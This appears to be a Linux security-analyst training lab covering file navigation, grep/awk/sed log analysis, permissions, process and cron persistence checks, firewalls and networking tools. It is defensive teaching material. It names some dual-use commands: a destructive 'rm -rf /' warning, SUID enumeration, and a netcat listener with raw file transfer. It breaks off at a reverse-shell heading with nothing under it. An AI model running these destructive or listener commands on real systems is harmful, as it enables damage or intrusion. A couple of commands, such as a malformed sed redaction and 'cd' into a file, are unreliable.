

Linux for Security Analysts

A Combined Step-by-Step Hands-On Lab — Modules 7 to 11

This lab walks through the Linux skills every security analyst needs, in one continuous hands-on session: navigating the filesystem, managing files, processing text, controlling users and permissions, managing processes and services, and using core networking tools. Every command is introduced with a short concept explanation before you run it, so you understand why it matters for security work — not just how to type it.

Lab Environment

Run all commands in a Linux terminal — Ubuntu 22.04 LTS or Kali Linux in a VM (VirtualBox/VMware) is ideal. Commands marked with `sudo` need root privileges. Work through the parts in order; each one builds on the last.

How This Lab Is Organized

The lab is split into five parts. Each part opens with a short intro, then walks through commands one at a time — a one-line concept, the syntax, and a short 'Do this' instruction so students type it themselves instead of just reading. Each part ends with a hands-on mini-exercise that ties the commands together into a realistic security task.

- Part 1 — Linux Basics & File System Navigation
- Part 2 — File Management, Text Processing & Regular Expressions
- Part 3 — Users, Groups & Permissions
- Part 4 — Process, Service & Package Management
- Part 5 — Networking, SSH, Firewalls & TLS
- Final Capstone Challenge — a single end-to-end investigation
- Appendix — Full Command Quick Reference

Part 1: Linux Basics & File System Navigation

Linux runs the vast majority of servers, cloud infrastructure, and security tools in the industry. This part builds the foundation everything else depends on: how Linux organizes files, how to move around the terminal, and how to view and manage files and directories.

Step 1: Read the shell prompt

The terminal is your primary interface to Linux. The prompt tells you three things at a glance: who you are, which machine you're on, and where you are in the filesystem. A '\$' means a regular user; a '#' means root — a critical visual cue for privilege level.

```
user@kali:~$ ← username @ hostname : current-dir $
```

Step 2: pwd — print working directory

pwd tells you your exact current location in the filesystem. Get in the habit of checking it before running any command that deletes or moves files.

```
$ pwd /home/alice
```

Step 3: ls — list directory contents

ls shows what's inside a directory. -l gives a long listing (permissions, owner, size, date); -a shows hidden dot-files; -la combines both and is the version analysts use constantly to spot anything unexpected.

```
$ ls -la /etc
$ ls -lh /var/log      # human-readable sizes
$ ls -R /etc/ssh       # recursive listing
```

Do this: Run `ls -la` on your home directory and identify at least two hidden files.

Step 4: cd — change directory

cd moves you around the tree using either an absolute path (starts at /) or a relative path (starts from where you are). ~ is home, .. is the parent directory, and cd - jumps back to your previous location.

```
$ cd /etc/ssh          # absolute path
$ cd ..                # up one level
$ cd ~                 # back home
$ cd -                 # previous directory
```

Step 5: tree — visualize directory structure

tree draws the folder hierarchy as a diagram, which is much faster than repeated ls calls for understanding how a directory is laid out. Install it first if it's missing.

```
$ sudo apt install tree
$ tree -L 2 /etc        # limit depth to 2 levels
$ tree -a ~             # include hidden files
```

The Filesystem Hierarchy Standard (FHS)

Unlike Windows' drive letters (C:\, D:\), Linux has one unified tree rooted at /. The FHS defines what belongs where. A few directories matter more than others to a security analyst:

Directory	What lives there	Why it matters
/etc	System-wide configuration	passwd, shadow, sudoers, ssh config – the first place attackers and analysts both look

Directory	What lives there	Why it matters
/var/log	System and application logs	The primary evidence trail for incident investigation
/home	Per-user personal directories	Contains user files, shell configs, and SSH keys
/tmp	Temporary files, wiped on reboot	Writable by everyone – a common attacker staging area
/bin, /sbin	Essential command binaries	Core system and admin commands
/proc	Live kernel & process data	Virtual filesystem – /proc/[PID]/ exposes info on every running process

Absolute vs. Relative Paths

An absolute path always starts from / and works no matter where you currently are. A relative path is interpreted from your current directory — shorter to type, but only correct if you know where you're standing. Both matter for writing reliable scripts and commands.

```
Absolute: cd /var/log/auth.log
Relative: cd ../log/auth.log (only correct from the right starting point)
```

File & Directory Operations

mkdir

Creates new directories. -p creates any missing parent directories in one shot — the standard way to build a nested folder structure.

```
$ mkdir reports
$ mkdir -p investigations/case001/logs
$ mkdir -m 700 private # create with specific permissions
```

touch

Creates an empty file if it doesn't exist, or updates its timestamp if it does. Attackers sometimes abuse touch to manipulate file timestamps and cover their tracks — worth remembering during forensic work.

```
$ touch case001/evidence/network_capture.txt user_accounts.txt timeline.txt
```

cp

Copies files or directories; the original stays in place. Use -r for directories, -p to preserve permissions and timestamps (important when copying evidence), -i to confirm before overwriting.

```
$ cp file.txt backup.txt
$ cp -r mydir/ /tmp/mydir_backup/
$ cp -p evidence.log /cases/case001/ # preserve metadata
```

mv

Moves or renames a file or directory. When source and destination are in the same folder, it acts as a rename. Unlike cp, the original is removed.

```
$ mv oldname.txt newname.txt
$ mv suspicious_file.sh /quarantine/
```

rm

Permanently deletes files — Linux has no recycle bin. -r deletes a directory recursively, -i asks for confirmation (a good habit), -f forces deletion with no prompt at all.

```
$ rm -i file.txt
$ rm -r old_directory/
```

Warning: rm -rf is irreversible
rm -rf /path deletes everything under that path instantly, with no confirmation and no recovery. Never run it with a wildcard or variable you haven't double-checked with ls first — a stray space in rm -rf / would try to erase the entire filesystem.

Viewing File Contents

cat

Prints an entire file to the screen at once. Great for short files; for anything log-sized, it floods the terminal — use less or tail instead.

```
$ cat -n /etc/passwd      # -n adds line numbers, useful for citing evidence
$ cat /etc/hosts
```

less / more

Paginated viewers for large files. less is the better of the two — it scrolls both directions and supports searching with / (forward) and lets you jump to the end with G.

```
$ less /var/log/auth.log
Inside less:  / search_term  n = next match  q = quit
```

head / tail

head shows the first lines of a file, tail shows the last. Because logs grow from the bottom, tail is the one analysts reach for constantly — and tail -f 'follows' a file live, streaming new entries as they're written, which is essential during an active investigation.

```
$ head -n 5 /etc/passwd
$ tail -n 50 /var/log/auth.log
$ tail -f /var/log/auth.log      # live monitoring, Ctrl+C to stop
```

Hidden Files

Any file or directory starting with a dot (.) is hidden from a normal ls — not for security, just to keep configuration out of everyday listings. Several dotfiles matter a great deal in an investigation.

Hidden file	Why it matters
.bash_history	Records every command the user typed – a goldmine for forensic review
.bashrc / .bash_profile	Run on shell start/login – a common place attackers plant persistence
.ssh/authorized_keys	Public keys allowed to log in without a password – check for unauthorized entries during incident response

Security-Critical Files to Know

File	Significance
/etc/passwd	Lists all accounts: username, UID, GID, home dir, shell. World-readable – used by attackers to enumerate usernames
/etc/shadow	Hashed passwords, root-readable only. A prime target after privilege escalation
/etc/hosts	Local hostname-to-IP mappings – malware edits this to redirect legitimate domains
/etc/ssh/sshd_config	SSH server config – misconfiguration here (root login, weak ciphers) is a critical exposure
/var/log/auth.log	Every login attempt, sudo use, and SSH session – first stop in a breach investigation
/var/log/wtmp	Binary login/logout/reboot history – read with the last command, not cat
/var/log/faillog	Per-user failed login counter – read with the faillog command
/var/log/dpkg.log	Package install/removal history – reveals when software (including attacker tools) was installed
/var/log/cron	Scheduled task execution history – reveals unauthorized cron activity

faillog

Reports failed login attempts per user, sourced from /var/log/faillog — a quick way to spot accounts under a brute-force attempt.

```
$ faillog -a
```

Getting Help: man Pages

Every core Linux command ships with a manual page covering every flag it supports. When you forget a flag mid-investigation, this is faster than a web search.

```
$ man ls
$ man tail
$ man grep      # q to quit
```

Useful Shell Shortcuts

Shortcut	Effect
Tab	Auto-complete commands and paths
Ctrl+C	Cancel the running command
Ctrl+L	Clear the screen
Up Arrow	Recall the previous command
Ctrl+R	Search command history
Ctrl+A / Ctrl+E	Jump to start / end of the line

Part 1 Mini-Lab: Investigation Workspace & Log Review

Scenario: you're a junior analyst asked to set up a case workspace and review recent authentication activity for anything suspicious.

- Create the structure ~/investigations/case001/{logs,evidence,reports} and case002/{logs,evidence,reports} using a single mkdir -p per case.
- Verify it with tree ~/investigations.
- Inside case001/evidence/, touch three files: network_capture.txt, user_accounts.txt, timeline.txt.
- Copy user_accounts.txt into case002/evidence/ with cp, then rename timeline.txt to incident_timeline.txt with mv.
- cat -n /etc/passwd and explain the 7 colon-separated fields for one entry.
- Run tail -n 50 /var/log/auth.log (or syslog if auth.log is empty) and use less with /Failed to count failed logins and note source IPs.
- Write a 3–5 sentence summary: was anything suspicious, what evidence supports it, and what's the recommended next step?

Part 2: File Management & Text Processing

This part goes deeper on managing files and, more importantly, extracting precise information out of large text files — the core daily skill behind log analysis, forensic review, and threat hunting.

More File Inspection Tools

file

Identifies a file's actual type by inspecting its content, not its extension — essential when a file's name may be deliberately misleading.

```
$ file /usr/bin/bash
```

stat

Shows detailed metadata: size, permissions, inode, and the three timestamps (access, modify, change). Timestamps are often critical forensic evidence.

```
$ stat /etc/passwd
```

du / df

du reports disk usage of files/directories (-sh for a human-readable summary); df reports free space per filesystem. Sudden large files or a filling disk can both be signs of data staging or log-flooding.

```
$ du -sh /var/log/*  
$ df -h
```

nano / vim

Terminal text editors for quick edits to config files on servers with no GUI. nano is simpler; vim is more powerful once you know the basics: i to insert, Esc to leave insert mode, :wq to save and quit, :q! to quit without saving.

```
$ nano /etc/hosts  
$ vim report.txt
```

ln

Creates links. -s makes a symbolic link (a pointer to another file) — handy for quick access to a frequently used file without duplicating it.

```
$ ln -s /var/log/syslog ~/syslog
```

rsync

Efficient file synchronization — preferred over cp for large evidence collection or log backups because it preserves metadata and can copy over SSH.

```
$ rsync -avz /var/log/ /backup/logs/
```

rmdir

Removes a directory, but only if it's empty — a safer alternative to rm -r when you want cleanup to fail loudly instead of deleting contents by accident.

```
$ rmdir empty_directory
```

xxd / strings

xxd dumps a file's raw bytes in hex — useful for inspecting binaries. strings pulls out the printable text embedded in a binary, which is often the fastest first pass on a suspicious file, revealing URLs, IPs, or file paths.

```
$ xxd /usr/bin/suspicious_file | head
$ strings /tmp/malware.bin | head -50
```

Regular Expressions — The Pattern Language Behind grep, find, awk & sed

A regular expression (regex) describes a pattern of text instead of exact text. Every tool in this part — grep, find, awk, sed — accepts regex, so learning the syntax once pays off everywhere. This is worth memorizing before the rest of this part will fully click.

Symbol	Meaning	Example
.	Any single character	gr.y matches gray or grey
*	Zero or more of the previous character	fail.* matches fail, failed, failure...
+	One or more of the previous character (needs -E)	[0-9]+ matches one or more digits
?	Zero or one of the previous character (needs -E)	colou?r matches color or colour
^	Start of line	^Error matches lines starting with Error
\$	End of line	closed\$ matches lines ending in closed
[abc]	Any one character in the set	[Ff]ailed matches Failed or failed
[^abc]	Any one character NOT in the set	[^0-9] matches anything but a digit
[0-9], [a-z]	A character range	[0-9]{1,3} – combine with {}
{n,m}	Between n and m repeats (needs -E)	[0-9]{1,3} matches 1-3 digits
	OR – either pattern (needs -E)	fail error denied
\	Escape a special character literally	10\.0\.0\.1 matches a literal dot, not 'any char'
()	Group a sub-pattern (needs -E)	(ftp http)s? matches ftp, ftps, http, https

Basic regex (grep's default) requires backslashes in front of +, ?, {}, |, and () to make them special. Extended regex (grep -E, or egrep) makes them special by default — that's why every multi-pattern example in this lab uses -E.

```
$ grep -E '^[0-9]{1,3}(\.[0-9]{1,3}){3}' access.log      # lines starting with an IPv4
address
$ grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' auth.log    # pull out just the IPs
$ grep -E 'fail(ed)?|denied|error' auth.log             # multiple related words at
once
```

Practice this separately

Regex is a skill on its own — spend 15-20 minutes on regex101.com (set the flavor to PCRE or POSIX) testing patterns against real log lines before relying on them in a live investigation. Getting a pattern subtly wrong is a common source of missed evidence.

grep — Searching File Content

grep searches inside files for lines matching a pattern and is arguably the single most important tool for a security analyst — the difference between finding what you need in seconds versus hours of manual reading.

Flag	Effect
-i	Case-insensitive match
-r	Recursive – search every file in a directory tree
-n	Show line numbers with each match
-c	Count matching lines instead of printing them
-v	Invert match – show lines that do NOT match
-l	List only the filenames that contain a match
-A n / -B n / -C n	Show n lines of context After / Before / on both sides (Context)
-E	Extended regex – enables (or), + , ? patterns
--color=auto	Highlight the matching text in the output

```
$ grep -i 'failed' auth.log           # case-insensitive
$ grep -n 'error' syslog             # with line numbers
$ grep -v '^#' /etc/ssh/sshd_config  # hide comment lines
$ grep -C 5 'segfault' syslog        # 5 lines of context both sides
$ grep -E 'fail|error|denied' auth.log # multiple patterns
```

Practical security one-liners:

```
$ grep 'Failed password' /var/log/auth.log # all failed SSH logins
$ grep -r '10.0.0.99' /var/log/           # search every log for an IP
$ grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' auth.log # extract just the IPs
```

find — Searching for Files

Where grep searches inside files, find locates the files themselves, by name, type, owner, permission, size, or modification time — essential for locating suspicious or recently changed files.

Option	Use case
-name '*.conf'	Find by filename pattern (-iname for case-insensitive)
-type f / d / l	Filter by file / directory / symlink
-user name	Files owned by a specific user
-perm -4000	Find SUID binaries – common privilege-escalation targets
-perm -o+w	Find world-writable files – anyone can modify them
-size +10M	Files larger than 10MB – possible staging before exfiltration
-mtime -1	Modified in the last day – spot recent tampering
-newer /etc/passwd	Find files newer than a known reference point (post-compromise changes)
-nouser / -nogroup	Find files owned by a deleted/unmapped account – often orphaned or planted
-exec cmd {} \;	Run a command on every result found

```
$ find /etc -name '*.conf'
$ find / -perm -4000 -o -perm -2000 2>/dev/null | sort # all SUID/SGID binaries
```

```
$ find / -type d -perm -o+w 2>/dev/null # world-writable dirs
$ find /etc /usr /bin /sbin -mtime -1 2>/dev/null # changed in last 24h
```

Redirection & Pipes

Linux's real power comes from chaining small commands together. Redirection sends a command's output to a file instead of the screen; pipes send one command's output directly into the next command's input.

Operator	Behavior
>	Redirect output to a file – OVERWRITES existing content
>>	Append output to a file, keeping what's already there
<	Feed a file's content in as input
2>	Redirect error messages only (2>/dev/null discards them)
2>&1	Merge stderr into stdout – capture everything in one place
	Pipe – send one command's output into the next command's input
tee file	Show output on screen AND save it to a file at the same time

```
$ grep 'Failed' auth.log > failures.txt
$ find / -name '*.conf' 2>/dev/null
$ grep 'Failed' auth.log | wc -l
$ tail -f auth.log | tee -a failed_events.log
```

Text Processing Tools

sort / uniq / wc

sort orders lines (-n numeric, -r reverse, -k field); uniq removes consecutive duplicates and must run on sorted input (-c adds a count); wc counts lines/words/bytes (-l for line count). Together, sort | uniq -c | sort -rn is the classic pattern for 'top offenders' — IPs, usernames, error types.

```
$ sort -n results.txt
$ sort ips.txt | uniq -c | sort -rn # count and rank duplicates
$ wc -l /var/log/auth.log
```

cut

Extracts specific fields from delimited text by column position. -d sets the delimiter, -f picks the field number.

```
$ cut -d ':' -f1 /etc/passwd # usernames only
```

tr

Translates or deletes characters — e.g. converting case or stripping stray characters to normalize a file before further processing.

```
$ tr 'a-z' 'A-Z' < input.txt
```

awk — Field-Based Processing

awk is a small language for working with columnar data. \$1, \$2 ... refer to fields on each line (space-delimited by default), \$0 is the whole line, and -F sets a custom delimiter. It's ideal for pulling specific columns out of structured logs or doing quick arithmetic across a file.

```
$ awk '{print $1, $7}' access.log # IP and requested URL
$ awk -F':' '{print $1}' /etc/passwd # usernames (: delimited)
```

```
$ awk '$9 == 404 {print $1, $7}' access.log      # IPs hitting 404s
$ awk '$9 >= 500 {print $0}' access.log        # server errors (possible exploitation)
$ awk '{sum+=$10} END {print sum}' access.log   # total bytes transferred
$ awk 'NR>=100 && NR<=200' logfile             # print only lines 100-200
```

sed — Stream Editing

sed processes text line by line to substitute, delete, or transform content — commonly used to redact sensitive data or clean up log formatting before it goes into a report.

```
$ sed 's/old/new/g' file.txt                    # replace every occurrence
$ sed -i 's/password=.*password=REDACTED/' config # edit in place
$ sed '/^#/d' /etc/ssh/sshd_config              # strip comment lines
$ sed -n '50,100p' large_logfile                # print only lines 50-100
$ sed 's/^/[PREFIX] /' events.txt              # prepend a tag to every line
```

Part 2 Mini-Lab: Building a Log Analysis Pipeline

Scenario: your supervisor wants a quick triage of brute-force and scanning activity from the last authentication and web server logs.

- Find the top 10 IPs behind failed SSH logins: `grep 'Failed password' auth.log | grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' | sort | uniq -c | sort -rn | head -10`.
- Find IPs generating the most HTTP 404s (possible scanning): `awk '$9 == 404 {print $1}' access.log | sort | uniq -c | sort -rn | head -20`.
- Use `find` to list every SUID/SGID binary on the system and save the output to a file with `>`.
- Use `sed` to redact any internal IPs (192.168.x.x) from one log file before it 'goes in a report'.
- Write a one-paragraph summary of what the pipeline revealed and what you'd investigate next.

Part 3: Users, Groups & Permissions

Linux is a multi-user system: every file and process is owned by a user and a group, and the kernel enforces access based on that ownership plus a set of permission bits. This part covers managing accounts and getting comfortable with — and auditing — that permission model.

The User Model

File	Purpose
/etc/passwd	Account info: username, UID, GID, home dir, shell. World-readable
/etc/shadow	Hashed passwords + aging policy. Root-readable only
/etc/group	Group definitions and membership
/etc/sudoers	Who can run commands as root – edit only via visudo

UID 0 is always root, the superuser. UIDs 1–999 are typically system/service accounts (www-data, sshd) with no login shell. UIDs 1000+ are regular human users.

Managing Users

useradd / usermod / userdel

Create, modify, and remove accounts. -m creates a home directory, -s sets the shell, -aG appends a supplementary group without removing existing ones, -r on userdel also removes the home directory.

```
$ sudo useradd -m -s /bin/bash -c "SOC Analyst" analyst1
$ sudo usermod -aG security analyst1
$ sudo userdel -r jsmith
```

passwd / id / whoami

passwd sets or changes a password (and can lock/unlock an account with -l/-u). id shows a user's UID, GID, and group memberships. whoami prints the current username.

```
$ sudo passwd analyst1
$ id analyst1
$ whoami
```

last / w / who

last shows login history from the wtmp log. w and who show who's currently logged in and what they're doing — both useful for auditing active sessions.

```
$ last
$ w
```

Managing Groups

Groups let you assign access to many users at once. Best practice: create role-based groups (soc-analysts, pentesters) and manage membership rather than granting permissions to individuals one by one — it scales far better.

groupadd / groupmod / groupdel / groups / gpasswd

Create, rename, delete, and inspect groups; gpasswd -a/-d adds or removes a member.

```
$ sudo groupadd security
$ sudo gpasswd -a analyst1 security
$ groups analyst1
```

Reading Permissions

ls -l shows a 10-character permission string on every line. The first character is the file type; the next nine are three sets of three (owner, group, others), each read/write/execute.

```
$ ls -l /etc/passwd
-rw-r--r-- 1 root root 2847 Apr 10 09:12 /etc/passwd
[type][owner rwx][group rwx][other rwx]
```

On a file, read lets you view contents, write lets you modify it, execute lets you run it as a program. On a directory, read lets you list contents, write lets you create/delete/rename files inside it, and execute lets you cd into it.

chmod — Changing Permissions

Symbolic mode uses who (u/g/o/a), an operator (+/-/=), and a permission letter (r/w/x). Octal mode expresses each permission set as one digit 0–7 (4=read, 2=write, 1=execute, summed).

```
$ chmod u+x script.sh          # add execute for owner
$ chmod go-w sensitive.txt     # remove write from group & others
$ chmod -R 750 /opt/security-tools/ # recursive

$ chmod 755 script.sh          # rwxr-xr-x
$ chmod 644 config.txt         # rw-r--r--
$ chmod 600 key.pem             # rw----- (required for SSH private keys)
```

chown / chgrp — Changing Ownership

chown changes a file's owner and/or group (both need root/sudo); chgrp changes only the group.

```
$ sudo chown analyst1:security report.txt
$ sudo chown -R analyst1:security /opt/logs/
```

sudo — Controlled Privilege Escalation

sudo lets an authorized user run commands as root (or another user) without sharing the root password. Always edit /etc/sudoers with visudo — it syntax-checks before saving, unlike a normal editor.

```
$ sudo apt update          # run one command as root
$ sudo -l                  # list what YOU are allowed to run
$ sudo visudo               # safely edit sudoers
```

A sudoers line reads: who, from where, as whom, then which commands. Reading this syntax is as important as running visudo.

```
# user    host = (run as-user) command(s)
analyst1  ALL = (ALL) ALL          # full sudo, password required – broad,
use sparingly
analyst1  ALL = (ALL) NOPASSWD: /usr/bin/systemctl restart nginx # one scoped command,
no password
%security ALL = (ALL) ALL          # applies to everyone in the
'security' group (% prefix)
```

Principle of Least Privilege

Grant only the access a role actually needs. NOPASSWD: ALL in sudoers is convenient but dangerous — if that account is compromised, the attacker has full root with no extra barrier. Prefer scoping sudo to specific commands, like the second line above, and audit usage regularly via `/var/log/auth.log`.

Part 3 Mini-Lab: Users & Permission Hardening

- Create a user `analyst1` with a home directory, set a password, and add them to a new security group.
- Verify with `id analyst1` and `groups analyst1`.
- Create a file, set its permissions to 640, then change its owner and group with `chown`.

Part 4: Process & Service Management

Every running program is a process, tracked by the kernel with a PID and a parent-child relationship back to systemd (PID 1). This part covers inspecting, controlling, and investigating processes and the services (daemons) systemd manages — plus cron, one of the most common persistence mechanisms attackers use.

Inspecting Processes

ps

Prints a snapshot of running processes. `ps aux` is the standard security-work form — user, PID, CPU/MEM%, and the full command line.

```
$ ps aux
$ ps aux | grep apache2
$ ps -p 1204 -o pid,ppid,user,stat,cmd
```

pstree

Shows the process tree, making parent-child relationships visible — useful for tracing how a malicious process was spawned.

```
$ pstree -p
```

top / htop

Live, continuously updating views of CPU/memory usage per process. `htop` (install separately) adds color, mouse support, and easier filtering.

```
$ top
$ sudo apt install htop && htop
```

pgrep / pidof

Find PIDs by process name instead of scrolling through `ps` output.

```
$ pgrep -l ssh
$ pidof apache2
```

What to look for during investigation
Unusual or typosquatted process names (e.g. 'sshdd'), processes running as root that shouldn't be, processes with no TTY that started recently, and binaries whose path no longer exists on disk (a sign of fileless malware). Always compare against a known-good baseline.

Signals & Killing Processes

`kill` doesn't actually kill anything by itself — it delivers a signal, and the process decides how to react. Most signals can be intercepted or ignored by the program (useful for a graceful shutdown that saves state first); `SIGKILL` is the one exception the kernel enforces directly, which is exactly why it's the last resort, not the first.

Signal	Meaning
SIGTERM (15)	'Please stop.' Can be caught, so a well-behaved process cleans up first – try this before SIGKILL
SIGKILL (9)	'Stop now.' Cannot be caught, blocked, or ignored – the kernel ends it immediately with no cleanup
SIGHUP (1)	Often used to tell a daemon to reload its config without a full restart

Signal	Meaning
SIGINT (2)	What Ctrl+C sends – interrupt from the terminal
SIGSTOP / SIGCONT	Pause and resume a process (SIGSTOP, like SIGKILL, cannot be caught)

```
$ kill 1234          # SIGTERM – graceful, try this first
$ kill -9 1234       # SIGKILL – force, use only if SIGTERM is ignored
$ pkill apache2      # kill by name
$ killall nginx      # kill every instance
```

Why this matters for investigation

A process that ignores repeated SIGTERM and only dies to SIGKILL isn't necessarily malicious — some daemons do this by design — but it's worth noting in your report, since malware sometimes traps SIGTERM specifically to survive a casual stop attempt.

Job Control

Job control lets you run and manage multiple tasks in one terminal session — start something long-running in the background while you keep working in the foreground.

Command / key	Effect
Ctrl+C	Send SIGINT – stop the foreground process
Ctrl+Z	Suspend the foreground process
command &	Start directly in the background
jobs	List background/suspended jobs
bg %n / fg %n	Resume a job in background / bring to foreground
nohup command &	Keep running even if the terminal closes

systemd & systemctl

systemd is the init system that starts, stops, and supervises services (daemons) on most modern distros. systemctl is the tool you use to control it.

Command	Effect
systemctl start/stop/restart name	Control a service right now (no effect on boot behavior)
systemctl enable/disable name	Set whether it starts automatically at boot
systemctl status name	Current state, recent log lines, and PID – the go-to investigation command
systemctl list-units --type=service	List all loaded services and their state

```
$ sudo systemctl status ssh
$ sudo systemctl disable --now bluetooth
```

Service unit files live in `/lib/systemd/system/` (defaults) or `/etc/systemd/system/` (admin overrides) and define exactly how a service starts. Knowing the normal shape of one is what lets you recognize an abnormal one — recently created, or with an unusual `ExecStart` line.

```
# /etc/systemd/system/nginx.service — a normal, legitimate unit file
[Unit]
Description=A high performance web server
After=network.target

[Service]
Type=forking
ExecStart=/usr/sbin/nginx -g 'daemon on; master_process on;'
ExecReload=/usr/sbin/nginx -s reload

[Install]
WantedBy=multi-user.target
```

The `ExecStart` line is what actually runs — that's the field to scrutinize. A backdoored unit might point `ExecStart` at a script in `/tmp`, add a `curl-pipe-to-bash`, or run as root when the legitimate service normally drops privileges.

```
$ find /etc/systemd/system/ -name '*.service' -newer /etc/passwd # recently
added/changed units
```

journalctl — Reading the systemd Journal

`journald` centralizes logs from every `systemd`-managed service. `journalctl` is how you query them.

```
$ journalctl -u ssh --since today
$ journalctl -f # follow live, like tail -f
$ journalctl -p err # errors and worse only
```

Scheduled Tasks: cron

`cron` runs commands automatically on a schedule — and it's one of the most common persistence mechanisms attackers use, reinstalling malware or exfiltrating data on a timer.

```
# minute hour day month weekday command
*/5 * * * * /opt/scripts/monitor.sh # every 5 minutes
0 2 * * * /opt/scripts/backup.sh # daily at 2 AM
@reboot /opt/scripts/startup.sh # at every boot

$ crontab -e # edit your own crontab
$ crontab -l # list your cron jobs
$ cat /etc/crontab # system-wide jobs
```

Auditing cron for persistence

During incident response, check every user's crontab, `/etc/crontab`, `/etc/cron.d/`, and the `cron.daily/hourly/weekly` directories for recently modified files, unusual binary paths (especially `/tmp` or `/dev/shm`), and any `wget/curl` pulling a remote script.

Package Management as a Security Check

Outdated packages are one of the most common initial-access vectors, so knowing how to check what's installed and what's out of date is part of basic system hardening — not just software installation.

apt / dpkg (Debian, Ubuntu, Kali)

apt manages packages day-to-day; dpkg queries the low-level package database directly, which still works even if apt itself is broken.

```
$ apt list --upgradable           # packages with a newer version available
$ sudo apt update && sudo apt upgrade -y
$ dpkg -l | less                  # every installed package
$ dpkg -l | grep -i openssh       # check a specific package's installed version
```

Why this matters

During a security review, cross-reference dpkg -l output against known CVEs for that distro release. An old, unpatched OpenSSH or sudo version is often the actual root cause behind an incident that otherwise looks like a mystery.

Part 4 Mini-Lab: Process & Persistence Investigation

- List all running processes with ps aux and identify the parent of your shell using pstree -p.
- Start a long sleep command, suspend it with Ctrl+Z, move it to the background with bg, then bring it back with fg.
- Check the status of the SSH service with systemctl status ssh and read the last few log lines it shows.
- Use journalctl -u ssh --since today to review today's SSH activity.
- Add a harmless cron entry with crontab -e, list it with crontab -l, then remove it.

Part 5: Linux Networking Tools

The last part covers inspecting and testing network connectivity from the command line — the foundation for both defensive monitoring and reconnaissance during an authorized assessment.

Interface & Route Management

ip

The modern standard for interfaces, addresses, and routes (replaces the older ifconfig).

```
$ ip addr show          # or: ip a
$ ip link show          # MAC / link-layer info
$ sudo ip link set eth0 up # or: down
$ sudo ip addr add 192.168.1.100/24 dev eth0
$ sudo ip addr del 192.168.1.100/24 dev eth0
$ ip route show         # or: ip r
$ sudo ip route add 10.10.0.0/24 via 192.168.1.1 dev eth0
```

ifconfig

The legacy tool — still common on older systems and in documentation.

```
$ ifconfig -a          # all interfaces, incl. inactive
$ ifconfig eth0
$ sudo ifconfig eth0 192.168.1.100 netmask 255.255.255.0
```

Connecting with SSH

SSH is how you'll actually reach most of the Linux servers you're investigating, and it's worth using deliberately rather than just as 'the thing that gets me a terminal' — key-based auth, port choice, and jump hosts all matter for security work.

ssh

Opens an encrypted remote shell. Key-based authentication is safer than a password and is standard practice in production environments.

```
$ ssh analyst1@192.168.1.100
$ ssh -p 2222 analyst1@192.168.1.100 # non-default port
$ ssh -i ~/.ssh/id_ed25519 analyst1@192.168.1.100 # specific key
$ ssh-keygen -t ed25519 -C "analyst1@soc" # generate a new keypair
$ ssh-copy-id analyst1@192.168.1.100 # install your public key on a server
```

Firewall Basics: ufw & iptables

A firewall decides what traffic is allowed in or out. ufw ('uncomplicated firewall') is a friendly front-end for iptables and is what you'll meet on most Ubuntu boxes; iptables itself is the lower-level, more granular tool you'll still find everywhere else.

ufw

Simple allow/deny rules by port, service name, or IP — good for quickly locking a box down.

```
$ sudo ufw status verbose
$ sudo ufw allow 22/tcp # allow SSH
$ sudo ufw allow from 192.168.1.0/24 to any port 443
$ sudo ufw deny 23 # block telnet
$ sudo ufw enable
```

iptables

Full rule-based packet filtering — more verbose, but it's what's actually running underneath ufw and what you'll find on older or minimal systems.

```
$ sudo iptables -L -n -v          # list current rules, numeric, verbose
$ sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
$ sudo iptables -A INPUT -s 203.0.113.5 -j DROP # block one IP
```

During an investigation

Check the current ruleset before trusting a port scan result from outside the box — a service might be running but firewalled off, or a rule might have been quietly added to allow the attacker's IP through.

TLS Certificate Inspection

A surprising number of security issues — expired certs, self-signed certs where a real one is expected, weak ciphers, mismatched hostnames — show up the moment you actually look at a service's TLS handshake.

openssl s_client

Connects to a TLS service and dumps the full certificate chain and negotiated protocol, without needing a browser.

```
$ openssl s_client -connect example.com:443 -servername example.com
$ echo | openssl s_client -connect example.com:443 2>/dev/null | openssl x509 -noout -
dates # just the validity window
$ echo | openssl s_client -connect example.com:443 2>/dev/null | openssl x509 -noout -
subject -issuer
```

curl -v (TLS check)

curl's verbose mode shows the certificate details as part of the connection log — a quick alternative when openssl feels like overkill.

```
$ curl -vI https://example.com 2>&1 | grep -i 'subject\|expire\|ssl'
```

Testing Connectivity

ping

Sends ICMP echo requests and measures round-trip time — the first tool to reach for when checking if a host is reachable.

```
$ ping -c 4 8.8.8.8 # send exactly 4 packets, then stop
$ ping -c 4 -W 2 192.168.1.1 # 2-second timeout per reply
```

Inspecting Active Connections

ss

Modern replacement for netstat — shows listening ports and active connections, with -p revealing the owning process.

```
$ ss -tuln # all listening TCP/UDP ports
$ sudo ss -tulnp # with owning process
$ ss -tn state established
```

```
$ ss -x          # Unix domain sockets
$ ss -s          # socket summary
```

HTTP & File Transfer

curl

A versatile tool for making HTTP requests — checking headers, testing APIs, or simulating requests during security testing.

```
$ curl https://example.com          # basic GET
$ curl -o out.html https://example.com # save to a file
$ curl -O https://example.com/file.zip # save with original filename
$ curl -L https://example.com        # follow redirects
$ curl -I https://example.com        # headers only
$ curl -v https://example.com        # verbose: headers + body
$ curl -H 'User-Agent: Mozilla/5.0' https://example.com
$ curl -X POST -H 'Content-Type: application/json' -d '{"a":1}'
https://api.example.com/login
```

wget

Focused on downloading files, with resumable transfers and recursive site downloads.

```
$ wget https://example.com/file.zip
$ wget -q https://example.com/file.zip # quiet, no progress bar
$ wget -O myfile.zip https://example.com/file.zip
$ wget -c https://example.com/largefile.iso # resume interrupted download
$ wget -r -l 2 https://example.com          # recursive, max depth 2
$ wget --no-check-certificate https://self-signed.example.com/file
```

Netcat (nc) — The Network Swiss Army Knife

nc reads and writes raw data over TCP/UDP — used for port scanning, banner grabbing, and quick file transfer. It's also a common building block for reverse shells, so understanding it defensively matters as much as using it.

```
$ nc 192.168.1.100 80          # connect to a port, like telnet
$ echo '' | nc -w1 192.168.1.100 22 # grab a service banner
$ nc -zv 192.168.1.100 20-100    # basic port scan
$ nc -lvp 4444                  # start a listener
# File transfer – receiver:  nc -lvp 9999 > received_file.txt
# File transfer – sender:   nc 192.168.1.100 9999 < file_to_send.txt
```

Netcat and reverse shells

